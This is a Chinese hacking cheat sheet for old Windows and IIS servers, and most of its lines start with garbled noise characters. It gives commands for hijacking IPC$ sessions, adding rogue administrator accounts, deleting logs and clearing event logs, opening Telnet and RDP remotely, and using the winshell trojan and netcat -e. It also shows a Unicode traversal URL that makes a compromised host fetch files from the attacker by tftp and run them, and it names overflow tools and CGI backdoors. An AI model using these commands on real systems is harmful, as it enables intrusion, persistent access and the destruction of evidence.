网管和黑客都必须知道的命令
m-cw5lW 常用的几条NET命令：
9p4SxMMO *Rc?rMF ! （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
z>
N73 u '#QZhz(+ （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
:x?G [x= 6 eNBld P! （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
rQPO+ /}CAd （查看远程主机时间） net time \\IP地址
n#
FkgXP$ MY(51)* （定时启动某个程序） at \\IP地址 02:18 readme.exe
wx2 z 9Q h]VC<BD6S （查看共享） net view \\IP地址
m YhDi ,wy Eo>>4) （查看netbios工作组列表） nbtstat -A IP地址
=">0\# Q7mikg=1- （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
}me`(zp 3B$|B, （这两条把自己增加到管理员组）： net user 用户名 密码 /add
WO^]bR =~21.p net localgroup Administrators 用户名 /add
)|Ka'\xr 6/Z_r0^O （断开连接） net use \\IP地址\ipc$ /delete
$:vS_# )E6E} 扫尾：
}L^PZS@Jf U\[b qw del C:\winnt\system32\logfiles\*.*
h6tYy_(G fA ), ^ del C:\winnt\ssytem32\config\*.evt
K>-01AGHL &m TYMpA del C:\winnt\system32\dtclog\*.*
b~TTz`HZ 8N4E~*>C del C:\winnt\system32\*.log
]2iEi` "[ 1XHE:0!dQ del C:\winnt\system32\*.txt
~O3VX75f @CC
6 ` D del C:\winnt\*.txt
QS-X _ (>*L- &- del C:\winnt\*.log
[Z!oVSCZD% ?rdWhF] 一、netsvc.exe
5tY/ d=\k t\n'Kuk` 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
?H8dyQ5" # `@jVX0 netsvc /list \\IP地址
+zl [C O M@z5UP netsvc schedule \\IP地址 /query
3 u,B< FbW$H ]C$ netsvc \\IP地址 schedule /start
Bc< pD?uOK \|Y_,fi 二、OpenTelnet.exe
J!@R0U. w)/~Gn676 远程启动主机的Telnet服务，并绑定端口到7878，例如：
QEF$Jx Z55C4F5v OpenTelnet \\IP地址 用户名 密码 1 7878
]Z*B17// "Sw raq 然后就可以telnet到主机的7878端口，进入DOS方式下：
!3z
;u8W &@D\4b,?nm telnet IP地址 7878
gYmO4/c,
d$n<^ ~Z 三、winshell.exe
-<(RYMk*) [|(=15; 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
8<=sUO JX#0<U|L p Path （查看winshell主程序的路径信息）
Qp>Z&LvC5 NT9| ``^Z b reBoot （重新启动机器）
J58S8:c 9H+Q/Q*-a d shutDown （关闭机器）
Ss\FSEN!/ `A8Er fA s Shell （执行后你就会看到可爱的“C:\>”）
1 r3}
V7 U+!&~C^y x eXit （退出本次登录会话，此命令并不终止winshell的运行）
d\r-)VWSr" SU jo%3R CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
`dRqheX ;f)AM}~^Q 四、3389登陆器，GUI方式登录远程主机的
z A/Fh(uX QI78/gT,d 五、elsave.exe
p+b$jKWQ 8 uA!Vrp3 事件日志清除工具
0: B%,n UM Mu 6DT p~k elsave -s \\IP地址 -l "application" -C
]oC"gWDYu Dd:^ { elsave -s \\IP地址 -l "system" -C
'c 3'eJ0 ?MS!t6 elsave -s \\IP地址 -l "security" -C
i4&V+h" h,,B"vPS 执行后成功清除应用程序日志，系统日志，安全日志
QuC_sFP10 amWKykVS5 六、hbulot.exe
[ * @
+ jWdZ ]0m 开启win2kserver和winxp的3389服务
>=.3Vydi1 R]0`- _T hbulot [/r]
+ f:!9)C l \|s Hn/ 使用/r表示安装完成后自动重起目标使设置生效。
d$Y_vX< %.HLO.A 七、nc.exe(netcat.exe)
)UyJ.!Fl y &2I8!I a 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
s-~`Ao'
< (^E5y,H<g 想要连接到某处: nc [-options] hostname port[s] [ports] ...
W{~ y< `D "F4 3q8 P 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
YGRb|P- : t /0 参数:
%P:|B:\< P!!O~P -e prog 程序重定向，一旦连接，就执行 [危险!!]
!T
9CpIM% O2"V'( -g gateway source-routing hop point[s], up to 8
ekqS=KfWl; RL fQT_V -G num source-routing pointer: 4, 8, 12, ...
k"%sdYkb! k;)mc+ ~+ -h 帮助信息
N>1 d]DrQR aIh} j, -i secs 延时的间隔
1aUg({ c;zk{dP -l 监听模式，用于入站连接
}}k*i0 qVH.I6) -n 指定数字的IP地址，不能用hostname
[(&aVHUj 2b-g`60< -o file 记录16进制的传输
'yV*eG?^& S(CVkCP -p port 本地端口号
7PBE( d%m YHMJ5IM@. -r 任意指定本地及远程端口
2 )3oX o2q-x2uB -s addr 本地源地址
Wu(^k25 '?g&);4)k- -u UDP模式
C [d1n#@r 23 #JmR -v 详细输出——用两个-v可得到更详细的内容
&xGpbJG WWo"De@ -w secs timeout的时间
B<n[yiJ} nH Rk2l| -z 将输入输出关掉——用于扫描时
Mc!LC
.8 八、TFTPD32.EXE
VJ_fA}U OhlK;hvdB* 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
UBk:B jzBW'8 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
6a_U[-a9; 0Ub'=`]5a 然后可以直接令文件运行：
&\b( ~*<`PD O? http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
G6G-qqXy6 :8==Bu 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
y`
'#gH NJV kn~< 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
Gv}Q/v *c&OAL] 一、一 Xscan命令行运行参数说明：
z(
}w| R. F l5B 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
^S?f"''y3 /e*fsQ>M: 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
Q"GM3? Z @ef2y; xscan -file <主机列表文件名> <检测项目> [其他选项]
wu`+KUx o?j8"^!7 其中<检测项目> 含义如下:
Aq$1 #1J V 0W4M% -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
FQ`1c[M@
*+2_!=4V -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
Oh>hy Y)} u86PTp+ -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
r;*
|^> CQ^(/B^c -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
DuD t' ^] OLm@-I* -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
qswC> Gi q9{) nU [其他选项] 含义如下:
DHx&%]r;D ZGsd cnz -v: 显示详细扫描进度
`Syfl ^9B yNn=r;FZQ -p: 跳过Ping不通的主机
!E_|Zp]up UnYb}rF#% -o: 跳过没有检测到开放端口的主机
+zq"dj_ $p&eS_f -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
